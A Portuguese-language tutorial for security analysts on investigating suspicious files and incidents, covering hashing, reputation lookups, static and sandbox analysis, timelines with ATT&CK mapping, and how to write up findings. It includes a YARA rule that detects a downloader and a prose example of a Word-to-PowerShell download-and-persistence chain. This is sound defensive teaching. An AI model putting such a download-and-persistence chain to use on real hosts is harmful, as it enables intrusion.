A preparação de dados para transferência reúne material antes da exfiltração. Arquivos compactados .7z ou .rar grandes em uma pasta pública ou temporária, proteção por senha e partes de arquivos compactados de tamanho igual são pistas úteis. Identifique o processo que os criou, os arquivos reunidos e o horário da operação.

Se um processo não aprovado cria partes de um arquivo compactado e depois faz um grande envio, a sequência relaciona a preparação à transferência. Dados de fluxo medem o tráfego, mas não revelam o conteúdo do arquivo compactado. Use evidências de processo e de acesso a arquivos para determinar o que foi reunido; o tamanho do arquivo compactado, por si só, não pode estabelecer quais registros saíram da organização.

A reputação acrescenta contexto externo às evidências locais. Ela pode identificar um arquivo conhecido, revelar um domínio recém-registrado ou mostrar denúncias recentes de abuso. A idade da consulta, as implicações para a privacidade e a relação com este host importam tanto quanto a pontuação.

Identifique o arquivo exato

Um hash criptográfico fornece ao conteúdo de um arquivo um identificador de comprimento fixo. MD5 usa 32 caracteres hexadecimais, SHA-1 usa 40 e SHA-256 usa 64. Ataques práticos de colisão enfraquecem MD5 e SHA-1, por isso use SHA-256 para identificar evidências.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

No Linux, use sha256sum file. Alterar até mesmo um byte muda drasticamente o hash: os prefixos SHA-256 de “invoice” e “Invoice” são 52d6e3de4fa0dcc2 e b832002da297545f. Um atacante pode recompilar uma carga útil ou acrescentar dados a ela para evitar uma correspondência exata de hash. Hashes de similaridade, como ssdeep, comparam semelhanças; o imphash agrupa arquivos PE pelas importações.

Interprete um relatório de reputação

O VirusTotal combina vários mecanismos, relações e relatórios de análise. Um resultado de 58/72 significa que cerca de 81% sinalizaram o arquivo; 3/72 significa cerca de 4%. Uma contagem baixa pode refletir um alarme falso ou uma ameaça nova. Leia os nomes das detecções, a data do primeiro envio, os nomes de arquivo observados, a assinatura e a infraestrutura contatada junto com a proporção. Zero detecções deixam em aberto a questão do comportamento.

Uma consulta de hash evita enviar o conteúdo do arquivo, mas revela qual hash interessa a você. Se o serviço já tiver o arquivo, o hash pode identificá-lo. Envios compartilham a amostra real e podem expô-la a assinantes ou a um atacante que monitore os envios. Consulte o hash primeiro; mantenha conteúdo confidencial em sistemas privados de análise aprovados.

Uma assinatura válida aumenta a confiança na origem, mas ainda são possíveis o roubo de certificados e o uso indevido de ferramentas assinadas do sistema. Verifique tanto a validade da assinatura quanto se o signatário corresponde ao produto declarado. Depois, avalie o comportamento observado do comando ou arquivo.

Analise o contexto de domínio e IP

Dados de registro podem revelar um registrador e uma data de criação mesmo quando os dados do proprietário estão ocultos. O RDAP é o protocolo oficial de dados de registro para domínios genéricos de nível superior após a transição de janeiro de 2025; ferramentas ainda podem chamar essa visualização de “WHOIS”. Um domínio criado dois dias antes de uma campanha de phishing é um sinal de alerta útil. O DNS passivo acrescenta mapeamentos anteriores de endereços, e a transparência de certificados acrescenta nomes de certificados emitidos.

O AbuseIPDB reúne denúncias de abuso de IP. Verifique datas e o serviço denunciado: um IP de nuvem pode ter mudado de cliente. A GeoIP fornece uma localização aproximada da infraestrutura, não uma localização confiável da pessoa por trás de uma VPN, do Tor ou de um serviço de nuvem. Hospedagem compartilhada e CDNs também tornam o bloqueio amplo de IPs prejudicial.

Prefira evidências que resistam a mudanças

A Pirâmide da Dor ordena hashes, IPs, domínios, artefatos de host e rede, ferramentas e técnicas de atacantes por dificuldade crescente de alteração para o atacante. Hashes exatos são fáceis de substituir. Uma detecção do Word iniciando um programa de download e estabelecendo persistência pode continuar útil após a mudança do hash do arquivo e do destino. Mantenha indicadores de curta duração com datas de revisão ou expiração e registre o comportamento que os produziu.

A análise estática examina um arquivo sem executá-lo. Ela ajuda a identificar o que o arquivo realmente é, quais capacidades pode conter e o que deve ser observado em um ambiente isolado de análise. Mantenha os indícios de capacidade separados dos comportamentos efetivamente observados.

Identifique o tipo e o conteúdo legível

Extensões são fáceis de renomear. Inspecione os bytes do número mágico com file, um visualizador hexadecimal ou a operação Detect File Type do CyberChef:

Um anexo chamado invoice.pdf que começa com MZ está se passando por documento. Confirme a estrutura, pois uma assinatura curta, por si só, é apenas uma verificação inicial do tipo.

O comando GNU strings -a file.exe extrai texto ASCII de todo o arquivo. strings -a -e l file.exe extrai texto UTF-16LE, comum em programas Windows. FLOSS e Sysinternals Strings podem ajudar a obter ambos. Procure domínios, URLs, comandos, caminhos de registro, nomes de arquivos e mensagens de erro. O texto extraído pode não ser usado ou pode ser enganoso, por isso preserve a localização dele e compare-o com o comportamento posterior.

Analise a estrutura e os indícios de empacotamento

Um executável PE tem cabeçalhos, seções como .text, .data e .rsrc e uma tabela de importações das funções que solicita. VirtualAllocEx, WriteProcessMemory e CreateRemoteThread em conjunto sugerem possível injeção de código. URLDownloadToFile e InternetOpenUrl sugerem capacidade de download. Uma marca temporal de compilação pode ser falsificada e precisa de corroboração.

Empacotadores de executáveis compactam ou criptografam código e o desempacotam na memória. Poucas strings, uma lista curta de importações, seções UPX0/UPX1 e alta entropia sugerem empacotamento. A entropia se aproxima de 8 bits por byte em dados de aparência altamente aleatória, mas recursos compactados e instaladores comuns podem ser semelhantes. O empacotamento muda a forma de investigar; ele não determina a conclusão.

Decodifique texto e teste uma correspondência

Receitas do CyberChef podem combinar Base64, hexadecimal, XOR, descompactação e decodificação de URL. Aplique as operações na ordem necessária para o conteúdo. Uma expressão regular como \b(?:\d{1,3}\.){3}\d{1,3}\b extrai texto semelhante a IPv4, mas também corresponde a 999.1.1.1, por isso valide os candidatos.

Uma regra YARA pode combinar características independentes:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

O arquivo deve começar com MZ e conter ambas as strings; ascii wide aceita a string de download em qualquer uma das duas representações. Teste a regra em arquivos comprovadamente seguros para medir correspondências acidentais. Uma correspondência comprova as condições da regra, enquanto a análise do analista determina o significado delas.

Para documentos, extraia macros com olevba. Para scripts, remova a codificação ou ofuscação como texto. Use as funções, os argumentos e os indicadores resultantes para configurar e interpretar a análise dinâmica.

A análise dinâmica executa uma amostra em um ambiente controlado e registra as ações dela. Um ambiente isolado de análise pode revelar o comportamento oculto pelo empacotamento ou o conteúdo ativo de um documento. O relatório descreve aquela execução sob aquela configuração; verifique se a amostra tinha o necessário para agir.

Prepare uma execução útil

Use um ambiente isolado e instrumentado, como Joe Sandbox, Cuckoo ou um ambiente isolado interativo. Separe-o da produção, controle o acesso à rede e restaure um instantâneo limpo após cada execução. Serviços de rede podem ser simulados com INetSim ou FakeNet, ou o tráfego pode ser encaminhado por uma infraestrutura de análise aprovada. Mantenha amostras confidenciais em sistemas privados.

Use o sistema operacional e os aplicativos correspondentes ao alvo. Um documento com macro precisa do ambiente Office adequado; um arquivo compactado pode precisar da senha; um programa pode exigir argumentos, cliques, um processo pai específico ou uma reinicialização. Registre essas configurações e a duração da execução para que outro analista possa interpretar o resultado.

Analise as ações por trás da pontuação

Inspecione a árvore de processos, alterações em arquivos e no registro, atividade de DNS e HTTP, conexões, capturas de tela e hashes de arquivos depositados. Um relatório também pode mostrar mutexes e mapeamentos do ATT&CK. Um mutex coordena o acesso exclusivo a um recurso; malwares às vezes usam um nome de mutex característico para evitar a execução de duas cópias. Softwares legítimos também usam mutexes.

Considere a execução de um documento que produz Word → PowerShell oculto e codificado, uma consulta a cdn-update.example.net, uma requisição HTTP GET para /a.ps1, C:\Users\Public\upd.exe e uma entrada Run que aponta para esse arquivo. Colete o domínio, o IP, a URL, o hash do arquivo depositado, o caminho e o valor Run. O PowerShell sustenta o mapeamento para T1059.001, e a entrada Run sustenta T1547.001. A entrega por anexo de phishing exige evidências separadas de e-mail para T1566.001.

Relacione as afirmações do relatório aos eventos registrados. Uma pontuação geral alta ajuda a priorizar uma amostra, mas as ações dos processos explicam o que aconteceu e quais indicadores são úteis no seu ambiente.

Investigue uma amostra inativa

Um malware pode permanecer inativo além do período de observação, detectar hardware virtual, inspecionar recursos de memória ou CPU, esperar por cliques ou exigir um idioma ou local específico. Um download malsucedido também pode impedir a execução da próxima etapa. Verifique novamente as dependências e os achados estáticos antes de considerar tranquilizador o fato de uma execução estar inativa.

Escolha uma nova execução que teste uma explicação concreta: aumente a duração para testar um atraso, forneça o aplicativo ou os argumentos necessários, acrescente interação ou use outro perfil de sistema operacional. Documente o que mudou. Se permanecer uma incerteza importante, encaminhe a amostra para engenharia reversa especializada.

Leve os achados de volta ao caso

Pesquise nos registros de DNS, proxy, firewall e EDR os domínios, caminhos, hashes e comportamentos relevantes. Atualizações do Windows, verificações de certificados e testes de conectividade de um ambiente isolado são atividade de fundo; diferencie-os das ações causadas pela amostra antes de bloquear destinos.

Um ambiente isolado pode fornecer pistas para pesquisar outros hosts, mas a execução isolada não estabelece quais hosts de produção foram infectados. Relacione as pistas aos eventos locais e ao histórico de processos e preserve esses registros junto com o relatório e o hash da amostra.

A correlação reúne registros em um relato de incidente que outro analista pode verificar. O e-mail pode comprovar a entrega, a telemetria do endpoint pode comprovar a execução e as evidências de rede podem comprovar a comunicação. Uma linha do tempo útil separa essas observações das relações causais que você ainda está testando.

Normalize horário e identidade

Converta os horários para UTC e mantenha o fuso original e qualquer diferença conhecida do relógio. Um horário de EDR de 11:14:31 em UTC+2 corresponde a 09:14:31 UTC. Confirme se o console ou a exportação converteu as marcas temporais UTC originais de um sensor. O desvio de relógio em relação ao NTP pode deixar fontes separadas por minutos mesmo após a conversão de fuso horário.

Escolha campos de vinculação que identifiquem o mesmo objeto naquele momento: host, usuário, hash, URL, domínio, Message-ID, uid do Zeek ou Process GUID. Um PID precisa de um horário de início porque pode ser reutilizado. Um IP precisa do histórico de DHCP ou VPN porque uma concessão posterior pode atribuí-lo a outro host. Preserve cada registro de origem ou referência de consulta ao lado da entrada na linha do tempo.

Construa a cadeia de eventos observados

Em um caso, as evidências em UTC são:

• 09:12:05: uma mensagem com invoice.docm chega a 40 caixas postais.
• 09:14:10: o usuário em WS-0423 abre o anexo.
• 09:14:31: o Word inicia PowerShell codificado.
• 09:14:32–33: o DNS resolve o host de download e uma requisição HTTP GET solicita /a.ps1.
• 09:15:02: upd.exe é gravado e um valor Run é criado.
• A partir de 09:20:00: conexões se repetem a cada 300 segundos.
• Na noite seguinte, 02:10–02:50: 2,4 GB saem para o mesmo IP.

As evidências de processo e arquivo sustentam as relações de execução e persistência. O grande envio precisa de mais investigação para determinar a origem: compartilhar um IP com tráfego anterior é uma evidência mais fraca do que compartilhar uma instância de processo e um canal de aplicação.

Mapeie apenas o que as evidências sustentam

O MITRE ATT&CK fornece nomes padronizados para comportamentos. A mensagem sustenta anexo de phishing direcionado, T1566.001; o PowerShell sustenta T1059.001; a entrada Run sustenta T1547.001. Mapear o tráfego periódico para C2 por protocolo web, T1071.001, exige evidências de HTTP ou HTTPS. Mapear o envio para exfiltração por esse canal de C2, T1041, exige evidências de que o mesmo processo e canal o transportaram.

O ATT&CK não é uma sequência prescrita. Descoberta, acesso a credenciais e movimentação lateral são possíveis pesquisas posteriores, não etapas ausentes que precisam ser inseridas na linha do tempo.

Use lacunas para escolher a próxima consulta

Se o envio superar os arquivos do próprio usuário, investigue se o processo leu compartilhamentos, gerou dados, repetiu transferências ou coincidiu com tráfego legítimo. Identifique o responsável pelo envio e o conteúdo transferido quando estiverem disponíveis. Registre um evento sem explicação como tal, em vez de forçá-lo a se encaixar na primeira hipótese.

Teste ativamente uma explicação alternativa, como uma mudança aprovada ou uma cópia de segurança. O viés de confirmação aparece quando um analista coleta apenas fatos que se encaixam no primeiro diagnóstico. Uma linha do tempo se torna mais útil quando cada relação incerta identifica as evidências que a fortaleceriam ou enfraqueceriam.

Uma conclusão declara o que as evidências sustentam, qual é o seu nível de confiança e o que deve acontecer em seguida. O registro do incidente deve permitir que outro analista repita a investigação. A classificação de um alerta como de alta severidade, por si só, não fornece uma conclusão nem um nível de confiança defensável.

Classifique o achado

Um verdadeiro positivo alerta corretamente sobre atividade maliciosa. Um falso positivo alerta sobre atividade fora do que a detecção pretendia encontrar. Um verdadeiro positivo benigno detecta corretamente um comportamento real, mas autorizado, como um teste de invasão agendado. Um falso negativo é uma atividade maliciosa que não foi detectada. Use “inconclusivo” quando as evidências ainda não permitirem decidir e identifique os dados que faltam.

Verifique se o comportamento é compatível com o host e o usuário, se foi autorizado, quão comum é e se fontes independentes concordam. Declare confiança alta, média ou baixa com motivos específicos. A confiança descreve a força do achado; a severidade descreve o impacto e a urgência.

Um comando PowerShell codificado, iniciado por um agente de implantação assinado em 3.000 hosts durante uma janela aprovada, é decodificado como uma instalação autorizada. Esse é um verdadeiro positivo benigno quando a regra detecta corretamente o PowerShell codificado. O mesmo padrão iniciado pelo Word em um host, contatando um domínio registrado há dois dias e criando persistência, sustenta uma conclusão de atividade maliciosa com alta confiança.

Escreva uma transferência de atendimento reproduzível

Registre um resumo curto, a linha do tempo em UTC, os hosts e contas afetados, os indicadores neutralizados para exibição segura, as técnicas do ATT&CK sustentadas por evidências, a conclusão e a confiança. Inclua consultas, IDs de alertas, locais das evidências e hashes de arquivos para que outro analista possa chegar aos mesmos registros. Liste as ações já tomadas e os próximos passos recomendados.

Explique por que um alerta foi encerrado. Se uma detecção disparar repetidamente para atividade fora do escopo pretendido, forneça exemplos e contexto aos engenheiros de detecção para o ajuste fino. O encerramento sem explicação oculta tanto ataques não detectados quanto esforço desperdiçado de forma recorrente.

Compartilhe indicadores com contexto

Associe uma data de expiração ou revisão a indicadores de domínio e IP, pois a propriedade e o uso mudam. Evite bloqueios indiscriminados de infraestrutura compartilhada, como CDNs. Hashes exatos identificam uma versão de arquivo, enquanto detecções baseadas em comportamento podem identificar variantes. Preserve a relação entre um indicador, o comportamento observado e o nível de confiança ao compartilhá-lo.

Preserve evidências e faça o escalonamento

Encaminhe um achado malicioso confirmado conforme o roteiro de resposta a incidentes, com severidade baseada nos ativos afetados e no impacto. Preserve mensagens originais, capturas, exportações de endpoints e amostras coletadas. Registre o SHA-256 de cada arquivo e quem o coletou ou transferiu e quando. Esses registros de custódia documentam o tratamento das evidências; o hash permite verificar a integridade.

O isolamento por EDR geralmente é preferível a desligar o host porque restringe a comunicação enquanto mantém a memória e uma via de gerenciamento. Encerrar processos e reiniciar o host também altera evidências voláteis. Siga as prioridades de contenção do roteiro, colete o que o caso exige e registre o horário de cada ação de resposta para que analistas posteriores possam distinguir a atividade do atacante da resposta.